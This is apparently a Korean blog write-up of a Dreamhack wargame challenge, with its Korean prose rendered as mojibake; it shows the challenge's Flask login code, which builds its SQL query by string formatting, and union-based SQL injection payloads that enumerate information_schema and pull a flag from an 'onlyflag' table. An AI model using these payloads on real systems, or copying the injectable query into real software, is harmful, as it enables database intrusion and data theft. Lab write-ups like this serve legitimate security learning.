https://dreamhack.io/wargame/challenges/984
[1] ๋ฌธ์ ์ค๋ช
์ฐ์ SQL INJECTION ์ทจ์ฝ์ ์ ์ด์ฉํ์ฌ ์์ ๊ฐ์ ์ ๋ ฅ๊ฐ์ ์ ์ถํด์ฃผ์๋ค.
admin ๊ณ์ ์ผ๋ก ์ ๊ทผํ ์ ์์๊ณ , ๋ณ ์๋ฏธ ์๋ ํ ์ด๋ธ์ ๋ณผ ์ ์์๋ค...
app.py๋ฅผ ์ดํด๋ณด์.
import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
if data:
return render_template("user.html", data=data)
else: return render_template("index.html", data="Wrong!")
return render_template("index.html", data="Fill the input box", pre=1)
return render_template("index.html")
if __name__ == '__main__':
app.run(host='0.0.0.0')
select ๋ฌธ์ ์คํ์์ผ์ผ ํ๋ค.
init.sql์ ์ฝ๋์ด๋ค.
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `secret_db`;
CREATE TABLE users (
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null,
descr varchar(128) not null
);
INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;
CREATE TABLE fake_table_name (
idx int auto_increment primary key,
fake_col1 varchar(128) not null,
fake_col2 varchar(128) not null,
fake_col3 varchar(128) not null,
fake_col4 varchar(128) not null
);
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
fake_table_name ์ ๋ถ๋ฌ์์ผ ํ๋๊ทธ ๊ฐ์ ์ ์ ์๋ ๊ฒ ๊ฐ์๋ฐ, ๊ทธ๋ฌ๋ ค๋ฉด primary key๋ฅผ ์ฐพ์์ผ ํ๋ค.
๊ทธ๋ฐ๋ฐ admin ํ์ด์ง ๋ง๊ณ ํ๋๊ทธ ๊ฐ์ด ์ ํ ํ์ด์ง๋ก ์ ๊ทผํ๋ ์ ๋ ฅ๊ฐ์ ์ ์๊ฐ ์์ด์ ๊ตฌ๊ธ๋ง์ ํตํด ๋ฌธ์ ํ์ด๋ฅผ ์งํํ์๋ค.
Union SQL Injection
UNION์ SQL ์ฟผ๋ฆฌ๋ฌธ์์ ๋ ๊ฐ ์ด์์ SELECT ๋ฌธ์ ๊ฒฐ๊ณผ๋ฅผ ํฉ์ณ ํ๋์ ๊ฒฐ๊ณผ ์งํฉ์ผ๋ก ๋ฐํํ๋ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ค. ์ด๋ฅผ ํตํด ๋ค๋ฅธ ํ ์ด๋ธ์ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ์ฌ ์ ์์ด, ์ค์ํ ์ ๋ณด๋ฅผ ์ถ์ถํ๋ ๋ฐ ์ ์ฉํ๋ค.
UNION ์ฐ์ฐ์๋ฅผ ์ฌ์ฉํ๊ธฐ ์ํด์๋ ๋ ๊ฐ์ง ์กฐ๊ฑด์ ๋ง์กฑํด์ผ ํ๋ค.
1) ๊ธฐ์กด์ SELECT๋ฌธ๊ณผ UNION SELECT๋ฌธ์ ์ปฌ๋ผ ์๊ฐ ๋์ผํด์ผ ํ๋ค.
2) ๊ฐ๊ฐ์ ์ปฌ๋ผ์ ์์ ๋ณ๋ก ๋์ผํ ๋ฐ์ดํฐํ์ด์ด์ผ ํ๋ค.
UNION ์ฐ์ฐ์๋ฅผ ์ฌ์ฉํ๋ ค๋ฉด ์ปฌ๋ผ ์๋ฅผ ์์๋ด๋ ๊ฒ ์ค์ํ๋ค.
init.sql์ ์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด 4๊ฐ์ธ ๊ฒ ๊ฐ์๋ฐ, ๋ง๋์ง ํ์ธํด๋ณด์๋ค.
a' union select version(),null,null,null #
์ด ๋ช ๋ น์ด๋ฅผ ํตํด
์ปฌ๋ผ์ ์๊ฐ 4๊ฐ์๊ณผ ๋์์ mariaDB๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ ์ ์ ์์๋ค.
' union select table_name, null, null, null from information_schema.tables #
์ด ๋ช ๋ น์ด๋ฅผ ํตํด ์๋์ ๊ฐ์ด ์ํ๋ table_name์ ์ถ๋ ฅํ ์ ์๋ค.
์๋์ฏ์์ ์์ํด๋ณด์ด๋ onlyflag๋ผ๋ table_name์ด ์๋๋ฐ, ์ ๊ทผํด๋ณด๋๋ก ํ์.
๋ง์ฐฌ๊ฐ์ง๋ก column_name์ ์๊ธฐ ์ํด
' union select column_name, null, null, null from information_schema.columns where table_name='onlyflag' #
์ด ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํด๋ณด๋
onlyflag ํ ์ด๋ธ์ ์๋ ์ปฌ๋ผ๋ช ์ ์ ์ ์์๋ค.
init.sql ์ ์ฝ๋ ๋ง์ง๋ง ์ค์ ๋ฐ๋ฅด๋ฉด,
INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
flag ๊ฐ์ svalue, sflag, sclose์ ๋ค์ด์์ผ๋ก
' union select sname, svalue, sflag, sclose from onlyflag #
์ด ๋ช ๋ น์ด๋ฅผ ์น๋ฉด flag is ...๊ฐ ๋์ค๊ฒ ๋๋ค.
ํ์ง๋ง ๊ทธ ๋ด์ฉ์ ๊ทธ๋๋ก ์ ์ถํ๋ฉด ํ๋ฆฐ ์ ๋ต์ด ๋๋ค.
์ฐ๋ฆฌ๊ฐ ๋ณผ ์ ์๋ ์ปฌ๋ผ์ ๊ฐ์๊ฐ 3๊ฐ์ด๋ฏ๋ก 3๊ฐ๋ง ์ถ๋ ฅ์ด ๋๊ฒ ๋๋ค.
๊ทธ๋ฌ๋ฏ๋ก sflag ๊ฐ์ด ๋๋ฝ๋์ด ์๋ ๊ฒ์ ๋ค์ ์ถ๋ ฅํด์ฃผ๋ฉด ์ํ๋ flag ๊ฐ์ ์ป์ ์ ์๋ค๊ณ ํ๋ค.
[2] ๋๋ ์
์ต๊ทผ์ MySQL์ ๋ํด ์ฒ์ ๋ฐฐ์์ ์ด ๋ฌธ์ ์ ํ์ด ๊ณผ์ ์ ๋ ์ ์ดํดํ ์ ์์๋ ๊ฒ ๊ฐ๋ค.
'SWLUG > CTF ๋ฌธ์ ํ์ด (2)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack/๋๋ฆผํต] simple-web-request (0) | 2024.05.15 |
---|---|
[Dreamhack/๋๋ฆผํต] pathtraversal (0) | 2024.05.15 |
[Dreamhack/๋๋ฆผํต] PHPreg (0) | 2024.05.07 |
[Dreamhack/๋๋ฆผํต] php7cmp4re (0) | 2024.04.28 |
[Dreamhack/๋๋ฆผํต] Carve Party (0) | 2024.04.01 |